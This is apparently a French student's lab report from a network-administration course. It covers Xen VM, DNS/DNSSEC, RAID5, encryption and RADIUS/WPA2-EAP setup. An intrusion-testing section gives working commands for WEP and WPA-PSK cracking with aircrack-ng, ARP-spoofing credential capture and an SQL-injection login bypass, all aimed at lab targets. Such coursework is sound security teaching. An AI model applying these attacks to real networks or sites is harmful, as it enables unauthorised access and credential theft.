ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...

Le wifi SSID_Lulya est visible et accessible.

Dot11Radio 0 : 2.5 GHz

Dot11rRadio 1 : 5 GHz

Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.

Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.
ap#sh dot11 bssid

== Supplémentaires ==

Puisque j'ai été la plus avancée au niveau de la réalisation de la VM et de certaines parties concernant le service internet, les tests d'intrusion et les réalisations, j'ai voulu aider mes camarades.

Je me souviens de Nathan qui a été confiné cas contact que j'ai aidé à configurer sa machine virtuelle et lancer son domaine via gandi.net. Il a pu rattraper le retard et donc bien avancer.

Puis, d'autres au niveau de de la sécurisation du site web par certificat et par DNSSEC.

J'ai aussi réalisé d'autres travaux comme l'utilisateur username.

Une interconnexion, j'ai connecté les routeurs 6509 et 3560E, ils ont alors été en conflit mais les VM ont tout de même continué à répondre.

J'ai aussi eu un moment une connexion avec SSID_Lulya via mon portable sans internet ce qui était normal.

TP sysres IMA2a5 2020/2021 G7

2020-12-16T07:29:44Z

Lchenu : /* Chiffrement de données */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid //Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

L'objectif est de sécuriser www.lulya.space.
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

Pour valider cette étape, j'ai envoyé un mail par polytech mail, et je l'ai vu via la commande mailx.

En rencontrant un problème, j'ai utilisé une commande servant d'outil de dépannage.

nano /etc/aliases
apt install strace
strace -f -o open newaliases
strace -f newaliases
newaliases /etc/aliases
J'envoie un nouveau mail mais à admin.
Grâce à mailx, on voit le mail, c'est mon certificat

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de clés.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent.

Je visualise cracotte07 dans la liste pour ses informations.
root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC
root@zabeth09:~# ./dico > dico.txt
root@zabeth09:~# scp dico.txt zabethxx

Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Chiffrement de données ===

L'objectif est le cryptage de données contenues par une clé USB. Protégée par un mot de passe, il faudra le connaître pour accéder à son contenu.

Je branche une clé USB sur mon PC et la sécurise
cryptsetup open /dev/sdb cle --type : plain
password : licorne
Dans ce cas, on peut utiliser deux types de cryptage : Plain ou Luks, j'ai choisi plain conseillé par M. Redon.
Je lance la commande lsbk pour visualiser les périphériques disponibles comme sdb : sdb1, sdb2 et je trouve aussi clé ajoutée après la commande cryptsetup
Je supprime les signatures et les avertissements
wipefs --all --force /dev/sdb

ls /dev/mapper
clé : nom du périphérique chiffré
/dev/mapper cle

Système de fichier pour mapper.
Création
mkfs /dev/mapper/cle
Montage
mount /dev/mapper/cle /mnt
dh -h
Donne l'espace disque libre sur chaque système de fichier monté.
On a quelque chose sur la clé.
Création de fichier
nano /mnt/toto
Démonter la clé
umount /mnt
crypt setup close cle --type = plain
/cle/mapper n'est plus accessible
Sur un autre ordinateur, la clé est invisible. Même si je fais un open, je la vois mais il me demande le mot de passe qui est licorne (choisi au début).

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
